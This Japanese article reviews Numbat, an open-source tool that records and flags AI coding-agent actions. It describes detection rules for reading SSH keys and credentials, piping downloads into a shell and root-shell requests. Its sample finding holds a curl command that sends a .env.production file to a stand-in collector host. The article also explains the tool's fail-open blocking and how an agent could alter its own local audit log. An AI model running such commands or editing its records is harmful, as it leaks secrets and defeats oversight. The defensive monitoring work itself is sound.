NumbatでAIエージェントの操作を監視する

Numbat とは

Numbat を使うと、自分が所有するマシン上で AI エージェントが実行した内容を可視化できます。コーディングエージェントがすでに生成しているフックコールバックとセッションファイルを読み取り、1 つのイベント形式に正規化します。そのうえで、SSH 秘密鍵の読み取りや、ダウンロードしたデータを直接シェルへパイプする操作などの挙動に反応するルールと照合します。Perplexity はこれを Apache 2.0 ライセンスのオープンソースとして公開し、最初のタグ付きリリースを 29 July 2026 に行いました。

以下の内容は、2026 年 8 月 2 日にプロジェクトのリポジトリと公式ドキュメントを確認した時点のものです。Perplexity の主張については、その旨を明記します。リポジトリが公開されてから数日しか経過しておらず、コマンドも変更されるため、これはインストール手順ではありません。

問題は、エージェントの操作記録が残らないことです

VPS 上のコーディングエージェントは、実行を許可されたユーザーとしてシェルコマンドを実行し、ファイルを読み書きし、ネットワーク接続を開きます。エージェントはシェルに入力しているわけではないため、シェルの履歴にはこれらの操作が記録されません。sshd に記録されるのはログインだけで、その後にモデルが実行した操作は記録されません。/var/log/auth.log も、何かが sudo にアクセスしようとしない限り動作しません。エージェントは独自のトランスクリプトを保持しますが、そのファイルはエージェントのセッションディレクトリ内にあり、形式はリリースごとに変わります。また、エージェント自身のプロセスがそのファイルに書き込めます。

そのため、エージェントが先週の火曜日に .env.production を読み取ったかと尋ねられても、多くのサーバーでは、確認できないというのが正直な答えです。この空白を埋めることが、このプロジェクトの目的です。

Perplexity が主張する Numbat の機能

README では、このツールを「AI エージェントの活動をエンドポイントで可視化し、ローカル検知、任意の事前アクションブロック、フォレンジック再構成を提供するもの」と説明しています。ここでいうエンドポイントは、外部から監視するネットワークアプライアンスではなく、エージェントが実行されるマシンです。これらは別々の機能であり、重要性も異なります。

検知はデバイス上で実行されます。ルールは CEL (common expression language) で記述し、ローカルで評価します。さらに、複数ステップのシーケンスルールと、YAML で独自ルールを定義する機能にも対応しています。ルールが発火するために、データをマシンの外部へ送る必要はありません。

ブロック機能は任意で、範囲も限定されています。対応するエージェントで同期的な事前アクションフックを通じてのみ動作し、有効化するまで無効です。

再構成は事後に実行されます。numbat scan は、エージェントがすでにディスクへ書き込んだセッション成果物を解析します。そのため、インストール前の活動も確認できます。ただし、この主張には明確な制限があります。「保存済みデータの再構成は、ディスクやメモリの取得ではありません。エージェントが永続化しなかった活動を復元することもできません。」

出力は、イベント、検知結果、強制適用の判断、インジケーター、スキャン概要を含む、バージョン管理された NDJSON (改行区切り JSON) です。v0.1.2 時点のスキーマバージョンは 0.2.0 です。レコードは標準出力またはローカルファイルに書き込めます。必要に応じて、利用者が運用するコレクターへ HTTP で送信することもできます。cgo なしでビルドされた単一の静的 Go バイナリとして提供され、amd64 と arm64 の macOS、Linux、Windows に対応します。そのため、Linux VPS では実行環境を先にインストールする必要がなく、1 つのファイルだけで利用できます。

Numbat が実際に確認できるエージェント

docs/agent-coverage.md の対応表が正式な一覧です。ただし、対応状況にはばらつきがあります。プロジェクトはこの点を隠さず、明確に示しています。Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI では、アーティファクトのスキャンと、実行前フックを使用したライブキャプチャの両方に対応しています。OpenClaw には、2026.7.1 以降でネイティブプラグインが提供されます。その他の多くの項目には deferred と記載されています。これは、ライブフックの経路は存在するものの、アーティファクトパーサーは存在しないことを意味します。多くの場合、そのエージェントは履歴を SQLite と write-ahead log に保存するため、エージェントの実行中に安全に読み取れないことが理由です。対応表を 2026 年 8 月 2 日に確認した時点では、OpenCode と Cline もこのグループに含まれていました。

このツールを前提に計画を立てる前に、使用するエージェントの行を確認してください。ほぼすべての行で、「supported」の意味が異なるためです。

検知結果の見え方

ルールには、それぞれの用途を示す id があります。secrets.read_private_keyは SSH key、AWS credentials、kube config、package registry へのログイン情報を対象にします。exec.download_pipe_shellは、curlまたはwgetの出力が interpreter にパイプで渡された場合に検知します。privilege.elevated_shellは、sudo、doas、su、pkexecを介して対話型の root shell を要求する処理を検知します。impact.cryptomining_launchは、既知の miner binary と image name に一致します。

シーケンスルールは、1 つの session 内のイベントを組み合わせます。chain.secret_read_then_egressは、secret file の読み取りに続いて、データを外部へ送信する command が実行された場合に一致します。README には、制御された 2 つの Claude Code pre-action callback の replay から得られた、以下の finding が掲載されています。これは live incident から得られたものではありません。ここでは重要なフィールドだけを抜粋します。

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

レコード内に "confidence": "medium" が含まれている点に注目してください。また、この種の出力全体について、プロジェクトが次のように説明している点にも注意してください。「Findings are rule matches, not proof of compromise.」key を読み取り、その後に build artifact を upload する deploy script も、同じシーケンスルールに一致します。一致自体は正しくても、アラームが誤っていることがあります。これは、これまでに実行したあらゆる検知ツールで通常発生する状態です。

ブロックはデフォルトで無効で、障害時は許可側に倒れます

Numbat に同梱されるすべてのルールは、監視専用です。ルールをブロックに変更するには、明示的な作業が必要です。ルールの完全な YAML を自分のディレクトリにコピーし、同じ id を維持して enforce: true を追加し、バージョンを更新します。その後、そのポリシーを検証してインストールします。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

次に、どの程度信頼すべきかを決める部分です。Numbat の deny はエージェントに返される応答であり、ツール呼び出しを実際に拒否するのはエージェントです。Numbat 自体に問題が発生した場合の動作について、強制適用ガイドは明確に説明しています。「形式不正の payload、該当する評価エラー、panic、出力エラーが発生すると、numbat deny は抑止されます」。Hook の入力サイズは 4 MiB に制限され、サイズ超過した入力も同じ経路で処理されます。

deny が返された場合でも、その効果には限界があります。ガイドは次のように明記しています。「Fail-open は、numbat が deny 応答を返さないことを意味します。ツールが実行されることを保証するものではありません。ホストが確認を求めたり、拒否したり、タイムアウトしたり、別の hook やポリシーを適用したりする可能性があります」。

したがって、ここでの強制適用は境界ではなく、安全策です。プロセスがクラッシュした場合、Numbat によってアクションがブロックされることはありません。問題が発生するたびにエージェントを停止させる監視ツールは、1 週間以内に削除されるためです。このトレードオフは妥当です。ただし、deny が常に返されることを前提にセキュリティモデルを構築しないでください。

Numbatを既存の運用にどう組み込むか

Numbatはエンドポイント上でエージェント自身のプロセスツリー内で実行され、デフォルトでは~/.numbat/records.ndjsonに書き込みます。ユーザー権限で実行されているエージェントは、このファイルを読み取れます。編集することも可能です。監査証跡の価値は、その周囲にある分離の強度に完全に依存します。つまり、既存のすべての制御は、この仕組みの後段ではなく前段に置かれます。

コーディングエージェントに使い捨てのVMを割り当てると、異常な実行が到達できる範囲を制限できます。VPS上で最小権限のユーザーを使用すると、エージェントが開く必要のないファイルへのアクセスを防げます。エージェントのコンテキストから認証情報を除外することで、secrets.read_private_keyが発生したときに確認する価値がある程度まで、その発生頻度を抑えられます。また、VPS上でClaude Code用に構成したサンドボックスが、引き続き隔離を実施します。

Numbatが追加するのは記録です。そのため、エージェントが到達できない場所に記録を送信してください。numbat shipとHTTP sinkは、そのために使用できます。ストリームのコピーを2台目のマシンに保存すれば、単なるログファイルではなく証拠になります。イベントモデルにはMCP（model context protocol）のフィールドも含まれます。そのため、VPS上でホストするMCPサーバー経由で実行したツール呼び出しも、ローカルのシェルコマンドと同じストリームに記録されます。bashだけを監視する仕組みでは、この経路を確認できないため重要です。

読み取り専用で最初に試す

固定したバージョンをインストールします。go install には Go 1.26.5 以降が必要です。ソースからビルドしない場合は、releases ページに SHA-256 チェックサム付きのビルド済みバイナリがあります。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents はホストにインストールされているエージェントを検出します。numbat scan はディスク上に既にあるセッションアーティファクトを解析し、レコードを出力します。README には、これらのコマンドは「フックをインストールせず、エージェントの設定を変更しない」と記載されています。また、numbat は「アーティファクト内で見つかったエージェントやコマンドを実行せず、外部へのリクエストは設定済みの HTTP シンクに対してのみ行う」とされています。スキャンは秘密情報をマスキングした読み取り専用の処理です。通常のレコード出力に完全な生のトランスクリプトが含まれることもありません。

次の段階はライブキャプチャです。この処理ではエージェントの設定が変更されます。

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all はイベント、検出結果、インジケーター、および該当する強制適用の判定を ~/.numbat/records.ndjson に書き込みます。プロジェクトには、2 つの注意点が明記されています。フックを実行するには、エージェント内でフックを信頼する必要がある場合があります。--enforce などのフラグを変更した後は、その信頼設定を再度確認する必要があります。また、hook status は「実行や配信ではなく、設定を検証します」。そのため、ステータス行が正常でも、レコードがどこかに到着している証拠にはなりません。

これほど新しいリポジトリを依存関係に含めない理由

公開リリースは、2026 年 7 月 29 日の v0.1.1 と、2026 年 8 月 1 日の v0.1.2 です。この記事の執筆時点である 2026 年 8 月 2 日には、リポジトリのスター数は 597 でした。このように急速に増える数字は、コードの堅牢性ではなく、Perplexity の利用者層を反映しています。スターは、後で確認するために誰かがページを保存したことを示します。

このバージョン番号は、このプロジェクトの位置付けを正直に示しています。v0.1.2 の変更点は、主に認証情報の秘匿処理の修正で、そのほかにケースバンドルとテレメトリの正規化に関する作業が含まれています。他のプログラムのトランスクリプトを安全に読み取ることが役割であるツールでは、初期段階の不具合として秘匿処理のバグが発生するのは自然です。入力元は 12 種類のエージェントであり、それぞれが独自のスケジュールで形式を変更するため、今後も同様のバグは増える可能性があります。

実務上のルールは 2 つあります。保持するものには、必ずタグを固定してください。@latest は使用しないでください。少なくともレコードスキーマの変更が止まるまでは、依存する制御手段ではなく、評価中の計測ツールとして扱ってください。

FAQ

Numbat は危険な AI エージェントのコマンドをブロックしますか？

オプトインした場合に限り、しかもベストエフォートでのみブロックします。Numbat に同梱されているすべてのルールは、監視専用です。ブロックするには、ルールの YAML を独自のディレクトリにコピーし、id を維持したまま enforce: true を追加してバージョンを上げ、--enforce でフックをインストールします。それでも deny はエージェントに返される応答にすぎず、呼び出しを拒否するのはエージェントです。プロジェクトでは、フェイルオープンの動作が文書化されています。形式不正の payload、評価エラー、panic、出力エラーが発生すると、すべて deny が抑制されます。これをガードレールとして使用し、唯一の境界制御にはしないでください。

Numbat はどの AI エージェントをサポートしていますか？

対応範囲はエージェントごとに異なり、リポジトリの docs/agent-coverage.md に一覧があります。そのページを 2026 年 8 月 2 日に確認した時点では、Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI がアーティファクトスキャンとライブキャプチャの両方に対応しており、OpenClaw には version 2026.7.1 からネイティブプラグインがあります。ほかにも多くのエージェントがライブフックのパス付きで一覧にありますが、アーティファクトパーサーはまだないことが一般的です。これは通常、エージェントのセッション履歴が SQLite データベースに保存され、エージェントの実行中に安全に読み取れないためです。対応するエージェントの行を確認してください。ここでいう「サポート」は、複数の異なる対応レベルを含みます。

エージェントは Numbat の記録を改ざんできますか？

同じユーザーとして実行されている場合は可能です。記録はデフォルトで、エージェントと同じマシン上の ~/.numbat/records.ndjson に保存されます。そのため、そのパスへの書き込み権限を持つものは記録を変更または削除できます。エージェントから到達できない collector に、numbat ship または HTTP sink を使ってストリームを送信し、ローカルファイルは利便性のためのコピーとして残してください。このため、このツールは isolation を補完するものであり、置き換えるものではありません。最小権限のユーザーで使い捨て VM に隔離されたエージェントであれば、自身の audit trail に対する到達範囲を大幅に縮小できます。

Numbat は production server で使用できる状態ですか？

依存する制御として使用するのは適切ではありません。最初の公開リリースは 2026 年 7 月 29 日の v0.1.1 で、その後 2026 年 8 月 1 日に v0.1.2 がリリースされました。そのため、flags と record schema はまだ変更される可能性があります。サーバー上で numbat agents と numbat scan を実行するだけなら読み取り専用でリスクも低く、エージェントがディスク上に残しているものを確認できます。重要なサーバーに enforcement hooks をインストールするかどうかは別の判断です。固定した tag を使用し、フックが正常に動作しない場合の対応計画を用意してください。